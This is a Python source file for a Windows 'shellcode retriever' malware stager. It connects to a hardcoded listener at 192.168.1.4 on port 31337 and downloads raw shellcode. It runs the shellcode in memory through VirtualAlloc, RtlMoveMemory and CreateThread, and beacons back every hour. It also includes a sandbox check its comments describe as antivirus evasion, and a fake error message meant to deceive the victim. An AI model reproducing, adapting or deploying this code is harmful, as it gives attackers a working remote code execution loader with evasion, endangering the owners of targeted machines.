retriever.py

#!/usr/bin/env python
#
# Windows Shellcode Retriever
# By: HR
#
# It's just a slightly modified version of Joshua Pitts' Shellcode Retriever Script...
# Use Shellcode Sender on the other end to serve up your payloads for execution
#

import ctypes, os, signal, socket, sys, time

TARGET='192.168.1.4' # Shellcode Sender Listener IP
PORT=31337           # Shellcode Sender Listener Port
BEACON=True          # Repeat Shellcode Retrival
BEACON_DELAY=3600    # 1 hour delay between retrieval attempts


def system_info():
  """
     Check System Info and Returns Info in Dictionary Array
       {
         'Available Physical Memory': '644 MB',
         'Product ID': '00426-OEM-8992662-00006',
         'OS Name': 'Microsoft Windows 7 Ultimate',
         'BIOS Version': 'Phoenix Technologies LTD 6.00, 7/2/2012',
         'System Model': 'VMware Virtual Platform',
         'System type': 'X86-based PC',
         'Total Physical Memory': '1,023 MB',
         'Logon Server': '\\\\WIN-6CQ3JVLCHM4',
         'Domain': 'WORKGROUP',
         'Windows Directory': 'C:\\Windows',
         'OS Version': '6.1.7601 Service Pack 1 Build 7601',
         'System Manufacturer': 'VMware, Inc.',
         'Host Name': 'WIN-6CQ3JVLCHM4'
       }

     Example:
        >>> info = SysInfo()
        >>> info['OS Version']
        '6.1.7601 Service Pack 1 Build 7601'

     Borrowed from our sacred stackoverflow:
        http://stackoverflow.com/questions/467602/how-can-i-read-system-information-in-python-on-windows
  """
  values  = {}
  cache   = os.popen2("SYSTEMINFO")
  source  = cache[1].read()
  sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "System type", "BIOS Version", "Domain", "Windows Directory", "Total Physical Memory", "Available Physical Memory", "Logon Server"]
  for opt in sysOpts:
    values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]
  return values


def decoy_message():
  """ Decoy Message to Present to User on Epic Failure """
  info = system_info()
  print "\n[x] Unsupported Windows Version!"
  print "   [*] Platform: %s" % sys.platform
  print "   [x] Build Version: %s" % info['OS Version']
  print "\n[*] Keep Checking Developer Site for updates...\n\n"
  sys.exit(0)


def sandbox_check():
  """
     Quick sandbox check for additional av evasion.
     And a message to throw the user off.
  """
  ##################################################################################
  # Add some mathematical stuff or some time consuming activities for added delays #
  ##################################################################################
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sandbox = True
  try:
    s.connect(('127.0.0.1', 445))
    s.close()
    sandbox = False
  except:
    pass
  if sandbox == True:
    try:
      s.connect(('127.0.0.1', 135))
      s.close()
    except:
      # Mission Abort!
      decoy_message()


def run_shellcode(shellcode):
  """
     ctypes VritualAlloc, MoveMem, and CreateThread
     From http://www.debasish.in/2012_04_01_archive.html
  """
  # Get pointer to our allocated memory space
  pointer = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
  )

  # Move Shellcode into memory
  buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(pointer),
    buf,
    ctypes.c_int(len(shellcode))
  )

  # Create new thread and run our shellcode in it
  thread_handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(pointer),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
  )

  # Wait for our thread to finish or timeout
  ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(thread_handle),
    ctypes.c_int(-1)
  )
  return



def fetch_shellcode(target, port):
  """
     Raw TCP Socket Request to Target:Port to grab our remote shellcode
     The received Shellcode is then passed off to be run
  """
  # Open TCP Socket Connection to target:port
  print '[*] Downloading Shellcode...'
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((target,port))

  # Receive shellcode
  data = s.recv(1024)
  shellcode = data
  while data != '':
    data = s.recv(1024)
    if data == '':
      break
    else:
      shellcode += data

  # Convert to Bytearray for usability sake
  shellcode = bytearray(shellcode)

  # Pass to be run in memory...
  print '[*] Executing Shellcode in Memory....'
  run_shellcode(shellcode)



def main():
  # Does making connetions raise alerts?
  sandbox_check()

  if TARGET == '':
    decoy_message() # If you cant read and edit source, you fail
#    TARGET = raw_input("Enter Shellcode Listner IP: ")
#    PORT = raw_input("Enter Shellcode Listner Port: ")
  try:
    fetch_shellcode(TARGET, int(PORT))
    while BEACON is True:
#      print '[*] Sleeping for %d seconds....' % BEACON_DELAY
      time.sleep(BEACON_DELAY)
      fetch_shellcode(TARGET, int(PORT))

  except Exception, e:
#    print str(e)
    pass

if __name__ == "__main__":
  main()